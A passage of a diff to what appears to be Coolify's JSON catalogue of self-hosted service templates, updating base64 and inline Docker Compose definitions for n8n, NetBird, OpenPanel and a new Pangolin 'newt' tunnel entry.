9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=",
         "tags": [
             "n8n",
             "workflow",
@@ -2624,7 +2624,7 @@
     "n8n-with-postgresql": {
         "documentation": "https://n8n.io?utm_source=coolify.io",
         "slogan": "n8n is an extendable workflow automation tool.",
-        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExNC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotRXVyb3BlL0Jlcmxpbn0nCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9CZXJsaW59JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdOOE5fUlVOTkVSU19FTkFCTEVEPSR7TjhOX1JVTk5FUlNfRU5BQkxFRDotdHJ1ZX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
+        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExOS4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotRXVyb3BlL0Jlcmxpbn0nCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9CZXJsaW59JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdOOE5fUlVOTkVSU19FTkFCTEVEPSR7TjhOX1JVTk5FUlNfRU5BQkxFRDotdHJ1ZX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
         "tags": [
             "n8n",
             "workflow",
@@ -2642,7 +2642,7 @@
     "n8n": {
         "documentation": "https://n8n.io?utm_source=coolify.io",
         "slogan": "n8n is an extendable workflow automation tool.",
-        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExNC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotRXVyb3BlL0Jlcmxpbn0nCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9CZXJsaW59JwogICAgICAtICdEQl9TUUxJVEVfUE9PTF9TSVpFPSR7REJfU1FMSVRFX1BPT0xfU0laRTotM30nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0VOQUJMRUQ9JHtOOE5fUlVOTkVSU19FTkFCTEVEOi10cnVlfScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
+        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExOS4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotRXVyb3BlL0Jlcmxpbn0nCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9CZXJsaW59JwogICAgICAtICdEQl9TUUxJVEVfUE9PTF9TSVpFPSR7REJfU1FMSVRFX1BPT0xfU0laRTotM30nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0VOQUJMRUQ9JHtOOE5fUlVOTkVSU19FTkFCTEVEOi10cnVlfScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
         "tags": [
             "n8n",
             "workflow",
@@ -2689,7 +2689,7 @@
     "netbird-client": {
         "documentation": "https://docs.netbird.io/how-to/examples#net-bird-client-in-docker?utm_source=coolify.io",
         "slogan": "Connect your devices into a secure WireGuard\u00ae-based overlay network with SSO, MFA and granular access controls.",
-        "compose": "c2VydmljZXM6CiAgbmV0YmlyZC1jbGllbnQ6CiAgICBpbWFnZTogJ25ldGJpcmRpby9uZXRiaXJkOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdOQl9TRVRVUF9LRVk9JHtOQl9TRVRVUF9LRVl9JwogICAgICAtICdOQl9FTkFCTEVfUk9TRU5QQVNTPSR7TkJfRU5BQkxFX1JPU0VOUEFTUzotZmFsc2V9JwogICAgICAtICdOQl9FTkFCTEVfRVhQRVJJTUVOVEFMX0xBWllfQ09OTj0ke05CX0VOQUJMRV9FWFBFUklNRU5UQUxfTEFaWV9DT05OOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduZXRiaXJkLWNsaWVudDovZXRjL25ldGJpcmQnCiAgICBjYXBfYWRkOgogICAgICAtIE5FVF9BRE1JTgogICAgICAtIFNZU19BRE1JTgogICAgICAtIFNZU19SRVNPVVJDRQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5ldGJpcmQKICAgICAgICAtIHZlcnNpb24KICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
+        "compose": "c2VydmljZXM6CiAgbmV0YmlyZC1jbGllbnQ6CiAgICBpbWFnZTogJ25ldGJpcmRpby9uZXRiaXJkOmxhdGVzdCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05CX1NFVFVQX0tFWT0ke05CX1NFVFVQX0tFWX0nCiAgICAgIC0gJ05CX0VOQUJMRV9ST1NFTlBBU1M9JHtOQl9FTkFCTEVfUk9TRU5QQVNTOi1mYWxzZX0nCiAgICAgIC0gJ05CX0VOQUJMRV9FWFBFUklNRU5UQUxfTEFaWV9DT05OPSR7TkJfRU5BQkxFX0VYUEVSSU1FTlRBTF9MQVpZX0NPTk46LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25ldGJpcmQtY2xpZW50Oi9ldGMvbmV0YmlyZCcKICAgIGNhcF9hZGQ6CiAgICAgIC0gTkVUX0FETUlOCiAgICAgIC0gU1lTX0FETUlOCiAgICAgIC0gU1lTX1JFU09VUkNFCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbmV0YmlyZAogICAgICAgIC0gdmVyc2lvbgogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
         "tags": [
             "wireguard",
             "mesh-networks",
@@ -2717,6 +2717,20 @@
         "minversion": "0.0.0",
         "port": "3000"
     },
+    "newt-pangolin": {
+        "documentation": "https://docs.digpangolin.com/manage/sites/install-site?utm_source=coolify.io",
+        "slogan": "Pangolin tunnels your services to the internet so you can access anything from anywhere.",
+        "compose": "c2VydmljZXM6CiAgbmV3dDoKICAgIGltYWdlOiAnZm9zcmwvbmV3dDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEFOR09MSU5fRU5EUE9JTlQ9JHtQQU5HT0xJTl9FTkRQT0lOVDotaHR0cHM6Ly9wYW5nb2xpbi5kb21haW4udGxkfScKICAgICAgLSAnTkVXVF9JRD0ke05FV1RfSUQ6P30nCiAgICAgIC0gJ05FV1RfU0VDUkVUPSR7TkVXVF9TRUNSRVQ6P30nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbmV3dAogICAgICAgIC0gJy0tdmVyc2lvbicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
+        "tags": [
+            "wireguard",
+            "reverse-proxy",
+            "zero-trust-network-access",
+            "open source"
+        ],
+        "category": null,
+        "logo": "svgs/pangolin-logo.png",
+        "minversion": "0.0.0"
+    },
     "next-image-transformation": {
         "documentation": "https://github.com/coollabsio/next-image-transformation?utm_source=coolify.io",
         "slogan": "Drop-in replacement for Vercel's Nextjs image optimization service.",
@@ -3039,7 +3053,7 @@
     "openpanel": {
         "documentation": "https://openpanel.dev/docs?utm_source=coolify.io",
         "slogan": "Open source alternative to Mixpanel and Plausible for product analytics",
-        "compose": "services:
  openpanel-dashboard:
    image: 'lindesvard/openpanel-dashboard:latest'
    environment:
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_URL_OPDASHBOARD_3000
      - 'NEXT_PUBLIC_API_URL=${SERVICE_URL_OPAPI}'
      - 'NEXT_PUBLIC_DASHBOARD_URL=${SERVICE_URL_OPDASHBOARD}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
    depends_on:
      openpanel-api:
        condition: service_healthy
      openpanel-worker:
        condition: service_healthy
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/api/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 15s
  openpanel-api:
    image: 'lindesvard/openpanel-api:latest'
    command: "sh -c \"\n  echo 'Running migrations...'\n  CI=true pnpm -r run migrate:deploy\n\n  pnpm start\n\"\n"
    environment:
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_URL_OPAPI
      - 'NEXT_PUBLIC_API_URL=${SERVICE_URL_OPAPI}'
      - 'NEXT_PUBLIC_DASHBOARD_URL=${SERVICE_URL_OPDASHBOARD}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'DATABASE_URL_DIRECT=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
      - 'COOKIE_SECRET=${SERVICE_BASE64_COOKIESECRET}'
      - 'ALLOW_REGISTRATION=${OPENPANEL_ALLOW_REGISTRATION:-false}'
      - 'ALLOW_INVITATION=${OPENPANEL_ALLOW_INVITATION:-false}'
      - 'EMAIL_SENDER=${OPENPANEL_EMAIL_SENDER}'
      - 'RESEND_API_KEY=${RESEND_API_KEY}'
    depends_on:
      postgres:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
      redis:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
  openpanel-worker:
    image: 'lindesvard/openpanel-worker:latest'
    environment:
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_URL_OPBULLBOARD
      - 'NEXT_PUBLIC_API_URL=${SERVICE_URL_OPAPI}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'DATABASE_URL_DIRECT=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
    depends_on:
      openpanel-api:
        condition: service_healthy
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 5s
  postgres:
    image: 'postgres:16-alpine'
    volumes:
      - 'openpanel_postgres_data:/var/lib/postgresql/data'
    environment:
      - 'POSTGRES_DB=${OPENPANEL_POSTGRES_DB:-openpanel-db}'
      - 'POSTGRES_USER=${SERVICE_USER_POSTGRES}'
      - 'POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES}'
    healthcheck:
      test:
        - CMD-SHELL
        - 'pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}'
      interval: 10s
      timeout: 5s
      retries: 5
  redis:
    image: 'redis:7.4-alpine'
    volumes:
      - 'openpanel_redis_data:/data'
    environment:
      - 'REDIS_PASSWORD=${SERVICE_PASSWORD_REDIS}'
    command: 'redis-server --requirepass ${SERVICE_PASSWORD_REDIS} --maxmemory-policy noeviction'
    healthcheck:
      test:
        - CMD
        - redis-cli
        - '-a'
        - '${SERVICE_PASSWORD_REDIS}'
        - ping
      interval: 10s
      timeout: 5s
      retries: 5
  clickhouse:
    image: 'clickhouse/clickhouse-server:24.3.2-alpine'
    volumes:
      - 'openpanel_clickhouse_data:/var/lib/clickhouse'
      - 'openpanel_clickhouse_logs:/var/log/clickhouse-server'
      -
        type: bind
        source: ./clickhouse-config.xml
        target: /etc/clickhouse-server/config.d/op-config.xml
        read_only: true
        content: "<clickhouse>\n    <logger>\n        <level>warning</level>\n        <console>true</console>\n    </logger>\n    <keep_alive_timeout>10</keep_alive_timeout>\n    <!-- Stop all the unnecessary logging -->\n    <query_thread_log remove=\"remove\"/>\n    <query_log remove=\"remove\"/>\n    <text_log remove=\"remove\"/>\n    <trace_log remove=\"remove\"/>\n    <metric_log remove=\"remove\"/>\n    <asynchronous_metric_log remove=\"remove\"/>\n    <session_log remove=\"remove\"/>\n    <part_log remove=\"remove\"/>\n    <listen_host>0.0.0.0</listen_host>\n    <interserver_listen_host>0.0.0.0</interserver_listen_host>\n    <interserver_http_host>opch</interserver_http_host>\n    <!-- Disable cgroup memory observer -->\n    <cgroups_memory_usage_observer_wait_time>0</cgroups_memory_usage_observer_wait_time>\n    <!-- Not used anymore, but kept for backwards compatibility -->\n    <macros>\n        <shard>1</shard>\n        <replica>replica1</replica>\n        <cluster>openpanel_cluster</cluster>\n    </macros>\n</clickhouse>"
      -
        type: bind
        source: ./clickhouse-user-config.xml
        target: /etc/clickhouse-server/users.d/op-user-config.xml
        read_only: true
        content: "<clickhouse>\n    <profiles>\n        <default>\n            <log_queries>0</log_queries>\n            <log_query_threads>0</log_query_threads>\n        </default>\n    </profiles>\n</clickhouse>\n"
      -
        type: bind
        source: ./init-db.sh
        target: /docker-entrypoint-initdb.d/init-db.sh
        content: "#!/bin/sh\nset -e\n\nclickhouse client -n <<-EOSQL\n  CREATE DATABASE IF NOT EXISTS openpanel;\nEOSQL"
    ulimits:
      nofile:
        soft: 262144
        hard: 262144
    healthcheck:
      test:
        - CMD-SHELL
        - 'clickhouse-client --query "SELECT 1"'
      interval: 10s
      timeout: 5s
      retries: 5
",
+        "compose": "services:
  openpanel-dashboard:
    image: 'lindesvard/openpanel-dashboard:latest'
    environment:
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_URL_OPDASHBOARD_3000
      - 'NEXT_PUBLIC_API_URL=${SERVICE_URL_OPAPI}'
      - 'NEXT_PUBLIC_DASHBOARD_URL=${SERVICE_URL_OPDASHBOARD}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
    depends_on:
      openpanel-api:
        condition: service_healthy
      openpanel-worker:
        condition: service_healthy
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/api/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 15s
  openpanel-api:
    image: 'lindesvard/openpanel-api:latest'
    command: "sh -c \"\n  echo 'Running migrations...'\n  CI=true pnpm -r run migrate:deploy\n\n  pnpm start\n\"\n"
    environment:
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_URL_OPAPI
      - 'NEXT_PUBLIC_API_URL=${SERVICE_URL_OPAPI}'
      - 'NEXT_PUBLIC_DASHBOARD_URL=${SERVICE_URL_OPDASHBOARD}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'DATABASE_URL_DIRECT=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
      - 'COOKIE_SECRET=${SERVICE_BASE64_COOKIESECRET}'
      - 'ALLOW_REGISTRATION=${OPENPANEL_ALLOW_REGISTRATION:-false}'
      - 'ALLOW_INVITATION=${OPENPANEL_ALLOW_INVITATION:-false}'
      - 'EMAIL_SENDER=${OPENPANEL_EMAIL_SENDER}'
      - 'RESEND_API_KEY=${RESEND_API_KEY}'
    depends_on:
      postgres:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
      redis:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
  openpanel-worker:
    image: 'lindesvard/openpanel-worker:latest'
    environment:
      - 'DISABLE_BULLBOARD=${DISABLE_BULLBOARD:-1}'
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_URL_OPBULLBOARD
      - 'NEXT_PUBLIC_API_URL=${SERVICE_URL_OPAPI}'
